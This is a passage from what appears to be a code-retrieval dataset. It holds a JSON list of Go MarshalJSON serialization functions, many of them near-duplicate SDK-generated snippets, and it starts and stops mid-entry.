w.Buffer.BuildBytes(), w.Error\n}","func (msssmto MigrateSQLServerSQLMITaskOutput) MarshalJSON() ([]byte, error) {\n\tmsssmto.ResultType = ResultTypeBasicMigrateSQLServerSQLMITaskOutputResultTypeMigrateSQLServerSQLMITaskOutput\n\tobjectMap := make(map[string]interface{})\n\tif msssmto.ID != nil {\n\t\tobjectMap[\"id\"] = msssmto.ID\n\t}\n\tif msssmto.ResultType != \"\" {\n\t\tobjectMap[\"resultType\"] = msssmto.ResultType\n\t}\n\treturn json.Marshal(objectMap)\n}","func (olr OperationListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulateAny(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}","func (o OperationInputs) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"type\", o.Type)\n\treturn json.Marshal(objectMap)\n}","func (v ProductShrinked) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonD2b7633eEncodeBackendInternalModels3(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (m SnoozeLogEntryAllOf2) MarshalJSON() ([]byte, error) {\n\tvar b1, b2, b3 []byte\n\tvar err error\n\tb1, err = json.Marshal(struct {\n\t}{},\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb2, err = json.Marshal(struct {\n\t\tChangedActions []IncidentAction `json:\"changed_actions,omitempty\"`\n\t}{\n\n\t\tChangedActions: m.changedActionsField,\n\t},\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn swag.ConcatJSON(b1, b2, b3), nil\n}","func (as AppSet) MarshalJSON() ([]byte, error) {\n\tvar (\n\t\tapp []byte\n\t\tappJSON map[string]map[string]interface{}\n\t\tcontainer []byte\n\t\tcontainerJSON map[string]map[string]interface{}\n\t\tmarshaled []byte\n\t\terr error\n\t)\n\n\tif app, err = jsonapi.Marshal(as.App); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err = json.Unmarshal(app, &appJSON); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif container, err = jsonapi.Marshal(as.Container); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err = json.Unmarshal(container, &containerJSON); err != nil {\n\t\treturn nil, err\n\t}\n\n\tdata := map[string][]map[string]interface{}{\n\t\t\"data\": []map[string]interface{}{\n\t\t\tappJSON[\"data\"],\n\t\t\tcontainerJSON[\"data\"],\n\t\t},\n\t}\n\n\tif marshaled, err = json.Marshal(data); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn marshaled, nil\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}","func (p ProviderOperationResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"nextLink\", p.NextLink)\n\tpopulate(objectMap, \"value\", p.Value)\n\treturn json.Marshal(objectMap)\n}","func (v ProductToAdd) MarshalJSON() ([]byte, error) {\n\tw := jwriter.Writer{}\n\teasyjsonD2b7633eEncodeBackendInternalModels1(&w, v)\n\treturn w.Buffer.BuildBytes(), w.Error\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\tpopulate(objectMap, \"properties\", o.Properties)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (j *JSON) Marshal(target interface{}) (output interface{}, err error) {\n\treturn jsonEncoding.Marshal(target)\n}","func (o OperationInputs) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"name\", o.Name)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (o Operation) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"actionType\", o.ActionType)\n\tpopulate(objectMap, \"display\", o.Display)\n\tpopulate(objectMap, \"isDataAction\", o.IsDataAction)\n\tpopulate(objectMap, \"name\", o.Name)\n\tpopulate(objectMap, \"origin\", o.Origin)\n\treturn json.Marshal(objectMap)\n}","func (a ApplyArtifactsRequest) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"artifacts\", a.Artifacts)\n\treturn json.Marshal(objectMap)\n}","func (j *WorkerCreateOperation) MarshalJSON() ([]byte, error) {\n\tvar buf fflib.Buffer\n\tif j == nil {\n\t\tbuf.WriteString(\"null\")\n\t\treturn buf.Bytes(), nil\n\t}\n\terr := j.MarshalJSONBuf(&buf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}","func (u *TDigestMethodType) MarshalJSON() ([]byte, error) {\n\t// Declare temporary struct without functions to avoid recursive function call\n\ttype Alias TDigestMethodType\n\n\t// Encode innerXML to base64\n\tu.XsdGoPkgCDATA = base64.StdEncoding.EncodeToString([]byte(u.XsdGoPkgCDATA))\n\n\treturn json.Marshal(&struct{\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(u),\n\t})\n}","func (t OperationResult) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(t.String())\n}","func Marshal(v interface{}) ([]byte, error) {\n\trv := reflect.ValueOf(v)\n\tif rv.Kind() != reflect.Slice {\n\t\treturn nil, &InvalidMarshalError{rv.Kind()}\n\t}\n\n\tvar buf bytes.Buffer\n\tencoder := json.NewEncoder(&buf)\n\tfor i := 0; i < rv.Len(); i++ {\n\t\tif err := encoder.Encode(rv.Index(i).Interface()); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn buf.Bytes(), nil\n}","func (a *Agg) MarshalJSON() ([]byte, error) {\n\troot := map[string]interface{}{\n\t\ta.Key: a.Aggregation,\n\t}\n\n\treturn json.Marshal(root)\n}","func (cttsdto ConnectToTargetSQLDbTaskOutput) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif cttsdto.ID != nil {\n\t\tobjectMap[\"id\"] = cttsdto.ID\n\t}\n\tif cttsdto.Databases != nil {\n\t\tobjectMap[\"databases\"] = cttsdto.Databases\n\t}\n\tif cttsdto.TargetServerVersion != nil {\n\t\tobjectMap[\"targetServerVersion\"] = cttsdto.TargetServerVersion\n\t}\n\tif cttsdto.TargetServerBrandVersion != nil {\n\t\tobjectMap[\"targetServerBrandVersion\"] = cttsdto.TargetServerBrandVersion\n\t}\n\treturn json.Marshal(objectMap)\n}","func (this *SimpleWithMap_Nested) MarshalJSON() ([]byte, error) {\n\tstr, err := TypesMarshaler.MarshalToString(this)\n\treturn []byte(str), err\n}","func (a AppListResult) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"nextLink\", a.NextLink)\n\tpopulate(objectMap, \"value\", a.Value)\n\treturn json.Marshal(objectMap)\n}","func (r *App) MarshalJSON() ([]byte, error) {\n\tout := make(CatsJSON)\n\tfor i, x := range r.Cats {\n\t\tout[i] = make(CatJSON)\n\t\tfor j, y := range x {\n\t\t\tmin, _ := y.Min.Get().(int)\n\t\t\tmax, _ := y.Max.Get().(int)\n\t\t\tout[i][j] = Line{\n\t\t\t\tValue: y.Value.Get(),\n\t\t\t\tDefault: y.Default.Get(),\n\t\t\t\tMin: min,\n\t\t\t\tMax: max,\n\t\t\t\tUsage: y.Usage,\n\t\t\t}\n\t\t}\n\t}\n\treturn json.Marshal(out)\n}","func (a AppPatch) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"identity\", a.Identity)\n\tpopulate(objectMap, \"properties\", a.Properties)\n\tpopulate(objectMap, \"sku\", a.SKU)\n\tpopulate(objectMap, \"tags\", a.Tags)\n\treturn json.Marshal(objectMap)\n}","func (m OperationResult) MarshalJSON() ([]byte, error) {\n\tvar b1, b2 []byte\n\tvar err error\n\tb1, err = json.Marshal(struct {\n\t\tCreatedDateTime strfmt.DateTime `json:\"createdDateTime,omitempty\"`\n\n\t\tLastActionDateTime strfmt.DateTime `json:\"lastActionDateTime,omitempty\"`\n\n\t\tMessage string `json:\"message,omitempty\"`\n\n\t\tOperationType string `json:\"operationType,omitempty\"`\n\n\t\tStatus string `json:\"status,omitempty\"`\n\t}{\n\t\tCreatedDateTime: m.CreatedDateTime,\n\t\tLastActionDateTime: m.LastActionDateTime,\n\t\tMessage: m.Message,\n\t\tOperationType: m.OperationType,\n\t\tStatus: m.Status,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb2, err = json.Marshal(struct {\n\t\tOperationProcessingResult OperationProcessingResult `json:\"operationProcessingResult,omitempty\"`\n\t}{\n\t\tOperationProcessingResult: m.OperationProcessingResult,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn swag.ConcatJSON(b1, b2), nil\n}"],"string":"[\n \"func (pbo PropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tpbo.Kind = KindPropertyBatchOperation\\n\\tobjectMap := make(map[string]interface{})\\n\\tif pbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = pbo.PropertyName\\n\\t}\\n\\tif pbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = pbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (op *Operation) Marshal() ([]byte, error) {\\n\\treturn json.Marshal(op)\\n}\",\n \"func (cspbo CheckSequencePropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tcspbo.Kind = KindCheckSequence\\n\\tobjectMap := make(map[string]interface{})\\n\\tif cspbo.SequenceNumber != nil {\\n\\t\\tobjectMap[\\\"SequenceNumber\\\"] = cspbo.SequenceNumber\\n\\t}\\n\\tif cspbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = cspbo.PropertyName\\n\\t}\\n\\tif cspbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = cspbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (f FeatureOperationsListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", f.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", f.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (gpbo GetPropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tgpbo.Kind = KindGet\\n\\tobjectMap := make(map[string]interface{})\\n\\tif gpbo.IncludeValue != nil {\\n\\t\\tobjectMap[\\\"IncludeValue\\\"] = gpbo.IncludeValue\\n\\t}\\n\\tif gpbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = gpbo.PropertyName\\n\\t}\\n\\tif gpbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = gpbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationEntityListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o Operation)MarshalJSON() ([]byte, error){\\n objectMap := make(map[string]interface{})\\n return json.Marshal(objectMap)\\n }\",\n \"func (ppbo PutPropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tppbo.Kind = KindPut\\n\\tobjectMap := make(map[string]interface{})\\n\\tobjectMap[\\\"Value\\\"] = ppbo.Value\\n\\tif ppbo.CustomTypeID != nil {\\n\\t\\tobjectMap[\\\"CustomTypeId\\\"] = ppbo.CustomTypeID\\n\\t}\\n\\tif ppbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = ppbo.PropertyName\\n\\t}\\n\\tif ppbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = ppbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (spbi SuccessfulPropertyBatchInfo) MarshalJSON() ([]byte, error) {\\n\\tspbi.Kind = KindSuccessful\\n\\tobjectMap := make(map[string]interface{})\\n\\tif spbi.Properties != nil {\\n\\t\\tobjectMap[\\\"Properties\\\"] = spbi.Properties\\n\\t}\\n\\tif spbi.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = spbi.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (s NestedAggregate) MarshalJSON() ([]byte, error) {\\n\\ttype opt NestedAggregate\\n\\t// We transform the struct to a map without the embedded additional properties map\\n\\ttmp := make(map[string]interface{}, 0)\\n\\n\\tdata, err := json.Marshal(opt(s))\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\terr = json.Unmarshal(data, &tmp)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// We inline the additional fields from the underlying map\\n\\tfor key, value := range s.Aggregations {\\n\\t\\ttmp[fmt.Sprintf(\\\"%s\\\", key)] = value\\n\\t}\\n\\n\\tdata, err = json.Marshal(tmp)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn data, nil\\n}\",\n \"func (v flattenedField) MarshalJSON() ([]byte, error) {\\n\\tw := jwriter.Writer{}\\n\\teasyjson390b7126EncodeGithubComChancedPicker35(&w, v)\\n\\treturn w.Buffer.BuildBytes(), w.Error\\n}\",\n \"func (sl Slice) MarshalJSON() ([]byte, error) {\\n\\tnk := len(sl)\\n\\tb := make([]byte, 0, nk*100+20)\\n\\tif nk == 0 {\\n\\t\\tb = append(b, []byte(\\\"null\\\")...)\\n\\t\\treturn b, nil\\n\\t}\\n\\tnstr := fmt.Sprintf(\\\"[{\\\\\\\"n\\\\\\\":%d,\\\", nk)\\n\\tb = append(b, []byte(nstr)...)\\n\\tfor i, kid := range sl {\\n\\t\\t// fmt.Printf(\\\"json out of %v\\\\n\\\", kid.PathUnique())\\n\\t\\tknm := kit.Types.TypeName(reflect.TypeOf(kid).Elem())\\n\\t\\ttstr := fmt.Sprintf(\\\"\\\\\\\"type\\\\\\\":\\\\\\\"%v\\\\\\\", \\\\\\\"name\\\\\\\": \\\\\\\"%v\\\\\\\"\\\", knm, kid.UniqueName()) // todo: escape names!\\n\\t\\tb = append(b, []byte(tstr)...)\\n\\t\\tif i < nk-1 {\\n\\t\\t\\tb = append(b, []byte(\\\",\\\")...)\\n\\t\\t}\\n\\t}\\n\\tb = append(b, []byte(\\\"},\\\")...)\\n\\tfor i, kid := range sl {\\n\\t\\tvar err error\\n\\t\\tvar kb []byte\\n\\t\\tkb, err = json.Marshal(kid)\\n\\t\\tif err == nil {\\n\\t\\t\\tb = append(b, []byte(\\\"{\\\")...)\\n\\t\\t\\tb = append(b, kb[1:len(kb)-1]...)\\n\\t\\t\\tb = append(b, []byte(\\\"}\\\")...)\\n\\t\\t\\tif i < nk-1 {\\n\\t\\t\\t\\tb = append(b, []byte(\\\",\\\")...)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tfmt.Printf(\\\"error doing json.Marshall from kid: %v\\\\n\\\", kid.PathUnique())\\n\\t\\t\\tlog.Println(err)\\n\\t\\t\\tfmt.Printf(\\\"output to point of error: %v\\\\n\\\", string(b))\\n\\t\\t}\\n\\t}\\n\\tb = append(b, []byte(\\\"]\\\")...)\\n\\t// fmt.Printf(\\\"json out: %v\\\\n\\\", string(b))\\n\\treturn b, nil\\n}\",\n \"func (cvpbo CheckValuePropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tcvpbo.Kind = KindCheckValue\\n\\tobjectMap := make(map[string]interface{})\\n\\tobjectMap[\\\"Value\\\"] = cvpbo.Value\\n\\tif cvpbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = cvpbo.PropertyName\\n\\t}\\n\\tif cvpbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = cvpbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationCollection) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (cepbo CheckExistsPropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tcepbo.Kind = KindCheckExists\\n\\tobjectMap := make(map[string]interface{})\\n\\tif cepbo.Exists != nil {\\n\\t\\tobjectMap[\\\"Exists\\\"] = cepbo.Exists\\n\\t}\\n\\tif cepbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = cepbo.PropertyName\\n\\t}\\n\\tif cepbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = cepbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (f *FilterWrap) MarshalJSON() ([]byte, error) {\\n\\tvar root interface{}\\n\\tif len(f.filters) > 1 {\\n\\t\\troot = map[string]interface{}{f.boolClause: f.filters}\\n\\t} else if len(f.filters) == 1 {\\n\\t\\troot = f.filters[0]\\n\\t}\\n\\treturn json.Marshal(root)\\n}\",\n \"func (o Operations) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tif o.NextLink != nil {\\n\\t\\tobjectMap[\\\"nextLink\\\"] = o.NextLink\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (msssdto MigrateSQLServerSQLDbTaskOutput) MarshalJSON() ([]byte, error) {\\n\\tmsssdto.ResultType = ResultTypeMigrateSQLServerSQLDbTaskOutput\\n\\tobjectMap := make(map[string]interface{})\\n\\tif msssdto.ID != nil {\\n\\t\\tobjectMap[\\\"id\\\"] = msssdto.ID\\n\\t}\\n\\tif msssdto.ResultType != \\\"\\\" {\\n\\t\\tobjectMap[\\\"resultType\\\"] = msssdto.ResultType\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (mutate MutateOperation) MarshalJSON() ([]byte, error) {\\n\\t// validate required fields\\n\\tswitch {\\n\\tcase len(mutate.Table) == 0:\\n\\t\\treturn nil, errors.New(\\\"Table field is required\\\")\\n\\tcase len(mutate.Where) == 0:\\n\\t\\treturn nil, errors.New(\\\"Where field is required\\\")\\n\\tcase len(mutate.Mutations) == 0:\\n\\t\\treturn nil, errors.New(\\\"Mutations field is required\\\")\\n\\t}\\n\\t// validate contions\\n\\tfor _, cond := range mutate.Where {\\n\\t\\tif !cond.Valid() {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid condition: %v\\\", cond)\\n\\t\\t}\\n\\t}\\n\\t// validate mutations\\n\\tfor _, mutation := range mutate.Mutations {\\n\\t\\tif !mutation.Valid() {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid mutation: %v\\\", mutation)\\n\\t\\t}\\n\\t}\\n\\n\\tvar temp = struct {\\n\\t\\tOp OperationType `json:\\\"op\\\"`\\n\\t\\tTable ID `json:\\\"table\\\"`\\n\\t\\tWhere []Condition `json:\\\"where\\\"`\\n\\t\\tMutations []Mutation `json:\\\"mutations\\\"`\\n\\t}{\\n\\t\\tOp: mutate.Op(),\\n\\t\\tTable: mutate.Table,\\n\\t\\tWhere: mutate.Where,\\n\\t\\tMutations: mutate.Mutations,\\n\\t}\\n\\n\\treturn json.Marshal(temp)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationList) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationList) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (r ResourceProviderOperationCollection) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tpopulate(objectMap, \\\"nextLink\\\", r.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", r.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn 